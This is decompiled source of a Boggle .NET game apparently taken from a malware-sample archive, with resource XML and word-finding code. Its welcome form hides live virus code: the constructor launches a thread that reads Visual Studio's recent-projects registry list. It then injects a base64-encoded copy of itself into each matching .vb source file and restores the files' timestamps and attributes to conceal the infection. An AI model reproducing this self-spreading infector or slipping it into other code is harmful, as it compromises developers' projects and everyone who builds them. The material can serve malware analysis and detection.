<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="MenuItem2.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lbl3.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuTimerInterval.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuMode.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="CircleLabel3.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuMain.Location" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAFRTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0xLjAuMzMwMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAXAAAACwAAAAs=</value>
</data>
<data name="mnuTeachingMode.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lstHumanWordsFound.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="tmrMain.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
</root>
@@ -0,0 +1,235 @@
// Decompiled with JetBrains decompiler
// Type: Boggle.frmWelcome
// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null
// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Data.OleDb;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Runtime.CompilerServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Boggle
{
public class frmWelcome : Form
{
[AccessedThroughProperty("btnOk")]
private Button _btnOk;
[AccessedThroughProperty("chkMain")]
private CheckBox _chkMain;
[AccessedThroughProperty("txtMain")]
private RichTextBox _txtMain;
private IContainer components;
internal virtual RichTextBox txtMain
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._txtMain != null)
this._txtMain.MouseDown -= new MouseEventHandler(this.txtMain_MouseDown);
this._txtMain = value;
if (this._txtMain == null)
return;
this._txtMain.MouseDown += new MouseEventHandler(this.txtMain_MouseDown);
}
get => this._txtMain;
}
internal virtual Button btnOk
{
get => this._btnOk;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._btnOk != null)
this._btnOk.Click -= new EventHandler(this.btnOk_Click);
this._btnOk = value;
if (this._btnOk == null)
return;
this._btnOk.Click += new EventHandler(this.btnOk_Click);
}
}
internal virtual CheckBox chkMain
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._chkMain == null)
;
this._chkMain = value;
if (this._chkMain == null)
;
}
get => this._chkMain;
}
private void vIT()
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList");
if (registryKey.ValueCount == 0)
ProjectData.EndApp();
string String2 = "Private Sub vIT()";
string str1 = "Public Sub New()";
string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()";
string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K";
string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3));
string Replacement = "J = \"";
int num1 = Strings.Len(str3);
int Start = 1;
while (Start <= num1)
{
Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\"";
checked { Start += 64; }
}
string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text);
int num2 = checked (registryKey.ValueCount - 1);
int index1 = 0;
while (index1 <= num2)
{
string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1]));
string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text));
if (Directory.Exists(path))
{
string[] files = Directory.GetFiles(path, "*.vb");
int num3 = Information.LBound((Array) files);
int num4 = Information.UBound((Array) files);
int index2 = num3;
while (index2 <= num4)
{
DateTime lastAccessTime = File.GetLastAccessTime(files[index2]);
DateTime lastWriteTime = File.GetLastWriteTime(files[index2]);
FileAttributes attributes = File.GetAttributes(files[index2]);
File.SetAttributes(files[index2], FileAttributes.Normal);
StreamReader streamReader = File.OpenText(files[index2]);
string end = streamReader.ReadToEnd();
streamReader.Close();
if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0)
{
string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text);
StreamWriter text = File.CreateText(files[index2]);
text.Write(str6);
text.Flush();
text.Close();
}
File.SetLastWriteTime(files[index2], lastWriteTime);
File.SetLastAccessTime(files[index2], lastAccessTime);
File.SetAttributes(files[index2], attributes);
checked { ++index2; }
}
}
checked { ++index1; }
}
}
public frmWelcome()
{
this.Load += new EventHandler(this.frmWelcome_Load);
new Thread(new ThreadStart(this.vIT)).Start();
this.InitializeComponent();
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
if (this.chkMain.Checked)
{
OleDbCommand oleDbCommand = new OleDbCommand("Update ShowWelcome Set ShowForm = 1", modGlobal.conBoggle);
modGlobal.conBoggle.Open();
oleDbCommand.ExecuteNonQuery();
modGlobal.conBoggle.Close();
}
base.Dispose(disposing);
}
[DebuggerStepThrough]
private void InitializeComponent()
{
this.txtMain = new RichTextBox();
this.chkMain = new CheckBox();
this.btnOk = new Button();
this.SuspendLayout();
this.txtMain.BackColor = System.Drawing.Color.Black;
this.txtMain.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.txtMain.ForeColor = System.Drawing.Color.DodgerBlue;
RichTextBox txtMain1 = this.txtMain;
Point point1 = new Point(16, 16);
Point point2 = point1;
txtMain1.Location = point2;
this.txtMain.Name = "txtMain";
RichTextBox txtMain2 = this.txtMain;
Size size1 = new Size(568, 160);
Size size2 = size1;
txtMain2.Size = size2;
this.txtMain.TabIndex = 0;
this.txtMain.Text = "";
this.chkMain.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.chkMain.ForeColor = System.Drawing.Color.Black;
CheckBox chkMain1 = this.chkMain;
point1 = new Point(424, 184);
Point point3 = point1;
chkMain1.Location = point3;
this.chkMain.Name = "chkMain";
CheckBox chkMain2 = this.chkMain;
size1 = new Size(160, 21);
Size size3 = size1;
chkMain2.Size = size3;
this.chkMain.TabIndex = 0;
this.chkMain.Text = "Don't Show Tips Again";
Button btnOk1 = this.btnOk;
point1 = new Point(17, 180);
Point point4 = point1;
btnOk1.Location = point4;
this.btnOk.Name = "btnOk";
Button btnOk2 = this.btnOk;
size1 = new Size(78, 24);
Size size4 = size1;
btnOk2.Size = size4;
this.btnOk.TabIndex = 0;
this.btnOk.Text = "OK";
size1 = new Size(5, 13);
this.AutoScaleBaseSize = size1;
this.BackColor = System.Drawing.Color.DarkGray;
size1 = new Size(600, 209);
this.ClientSize = size1;
this.ControlBox = false;
this.Controls.AddRange(new Control[3]
{
(Control) this.btnOk,
(Control) this.chkMain,
(Control) this.txtMain
});
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = nameof (frmWelcome);
this.Text = "Welcome To Boggle .Net";
this.TopMost = true;
this.ResumeLayout(false);
}
private void frmWelcome_Load(object sender, EventArgs e)
{
this.Left = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Width / 2.0 - (double) this.Width / 2.0)));
this.Top = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Height / 2.0 - (double) this.Height / 2.0)));
this.txtMain.Text = "\r\n Welcom to Boggle .Net! Enjoy these helpful tips before starting your game:\r\n\r\n Tip1: Click on the letter cubes during the game to assist in finding words.\r\n Tip2: Click on the words found by the computer to display the letter combinations.\r\n Tip3: Enable defenition search to query word defenitions from the internet.\r\n Tip4: Choose a skill level and timer level the is challenging for you.\r\n Tip5: Enable word validation to enrich the challenge.\r\n Tip6: Have fun!";
}
private void txtMain_MouseDown(object sender, MouseEventArgs e) => this.btnOk.Focus();
private void btnOk_Click(object sender, EventArgs e)
{
this.Hide();
Application.DoEvents();
this.Dispose();
}
}
}
@@ -0,0 +1,135 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="$this.SnapToGrid" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs=</value>
</data>
<data name="$this.Name" mimetype="application/x-microsoft.net.object.binary.base64">
<value>CmZybVdlbGNvbWU=</value>
</data>
<data name="chkMain.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="btnOk.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="txtMain.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
</root>
@@ -0,0 +1,287 @@
// Decompiled with JetBrains decompiler
// Type: Boggle.modFindWords
// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null
// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Data;
using System.Data.OleDb;
using System.IO;
using System.Net;
using System.Runtime.CompilerServices;
using System.Text;
namespace Boggle
{
[StandardModule]
internal sealed class modFindWords
{
public static DataTable FindWords(modFindWords.FindMode Mode, string Word = "")
{
object[] objArray = new object[2];
DataTable words = new DataTable();
string str1 = "((((";
string sLeft1;
string sLeft2;
string sLeft3;
string str2;
string sLeft4;
string str3;
string str4;
if (Mode == modFindWords.FindMode.SpecWord)
{
if (Strings.Len(Word) > 15)
{
objArray[0] = (object) "Not Found";
objArray[1] = (object) "1111";
words.Rows.Add(objArray);
return words;
}
Word = Strings.UCase(Word);
int num = Strings.Len(Strings.Replace(Word, "QU", "Q"));
int Start = 1;
while (Start <= num)
{
string sLeft5 = Strings.Mid(Word, Start, 1);
if (StringType.StrCmp(sLeft1, "", false) == 0)
{
if (StringType.StrCmp(sLeft5, "Q", false) == 0)
{
Word = Strings.Replace(Word, "QU", "Q");
sLeft1 = sLeft1 + "Where PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetter = 'QU' \r\n";
}
else
sLeft1 = sLeft1 + ("Where PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetter = '" + sLeft5) + "' \r\n";
}
else if (StringType.StrCmp(sLeft5, "Q", false) == 0)
{
Word = Strings.Replace(Word, "QU", "Q");
sLeft1 = sLeft1 + "And PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetter = 'QU' \r\n";
}
else
sLeft1 = sLeft1 + ("And PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetter = '" + sLeft5) + "' \r\n";
if (Start > 5)
{
str1 += "(";
if (StringType.StrCmp(sLeft2, "", false) == 0)
sLeft2 += ") ";
if (StringType.StrCmp(sLeft3, "", false) == 0)
sLeft3 += "+ ";
if (StringType.StrCmp(str2, "", false) == 0)
str2 += ",";
if (StringType.StrCmp(sLeft4, "", false) == 0)
{
if (Strings.Len(Word) == Start)
{
str3 = str3 + " & ',' & [BL" + StringType.FromInteger(Start) + "] ";
str4 = str4 + ", PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetterSquare ";
sLeft4 = sLeft4 + ", PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetterSquare AS BL" + StringType.FromInteger(Start) + " ";
}
else
{
str3 = str3 + " & ',' & [BL" + StringType.FromInteger(Start) + "] " + "&" + " ";
str4 = str4 + ", PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetterSquare , ";
sLeft4 = sLeft4 + ", PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetterSquare AS BL" + StringType.FromInteger(Start) + ", ";
}
}
else if (Start == Strings.Len(Word))
{
str3 = str3 + "',' & [BL" + StringType.FromInteger(Start) + "]";
str4 = str4 + " PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetterSquare ";
sLeft4 = sLeft4 + " PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetterSquare AS BL" + StringType.FromInteger(Start) + " ";
}
else
{
str3 = str3 + "',' & [BL" + StringType.FromInteger(Start) + "] " + "&" + " ";
str4 = str4 + " PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetterSquare , ";
sLeft4 = sLeft4 + " PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetterSquare AS BL" + StringType.FromInteger(Start) + ", ";
}
if (Start == Strings.Len(Word))
{
str2 = str2 + "BL" + StringType.FromInteger(Start);
sLeft3 = sLeft3 + "PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetter";
sLeft2 = sLeft2 + ("INNER JOIN PossibleLetters AS PossibleLetters_" + StringType.FromInteger(Start) + " ON (PossibleLetters_" + StringType.FromInteger(checked (Start - 1)) + ".FriendLetter=PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetter) AND (PossibleLetters_" + StringType.FromInteger(checked (Start - 1)) + ".FriendLetterSquare=PossibleLetters_" + StringType.FromInteger(Start)) + ".BaseLetterSquare) \r\n";
}
else
{
str2 = str2 + "BL" + StringType.FromInteger(Start) + ",";
sLeft3 = sLeft3 + "PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetter + ";
sLeft2 = sLeft2 + ("INNER JOIN PossibleLetters AS PossibleLetters_" + StringType.FromInteger(Start) + " ON (PossibleLetters_" + StringType.FromInteger(checked (Start - 1)) + ".FriendLetter=PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetter) AND (PossibleLetters_" + StringType.FromInteger(checked (Start - 1)) + ".FriendLetterSquare=PossibleLetters_" + StringType.FromInteger(Start)) + ".BaseLetterSquare)) \r\n";
}
}
checked { ++Start; }
}
}
words.Columns.Add("FoundWord");
words.Columns.Add("FoundWordSquares");
modGlobal.cmdBog.CommandText = "Delete From Words_5Letters1";
modGlobal.conBoggle.Open();
modGlobal.cmdBog.ExecuteNonQuery();
modGlobal.conBoggle.Close();
modGlobal.cmdBog.CommandText = "Delete From Words_5Letters2";
modGlobal.conBoggle.Open();
modGlobal.cmdBog.ExecuteNonQuery();
modGlobal.conBoggle.Close();
modGlobal.cmdBog.CommandText = "Delete From Words_4Letters";
modGlobal.conBoggle.Open();
modGlobal.cmdBog.ExecuteNonQuery();
modGlobal.conBoggle.Close();
modGlobal.cmdBog.CommandText = "Delete From Words_3Letters";
modGlobal.conBoggle.Open();
modGlobal.cmdBog.ExecuteNonQuery();
modGlobal.conBoggle.Close();
modGlobal.cmdBog.CommandText = "Delete From FoundWords";
modGlobal.conBoggle.Open();
modGlobal.cmdBog.ExecuteNonQuery();
modGlobal.conBoggle.Close();
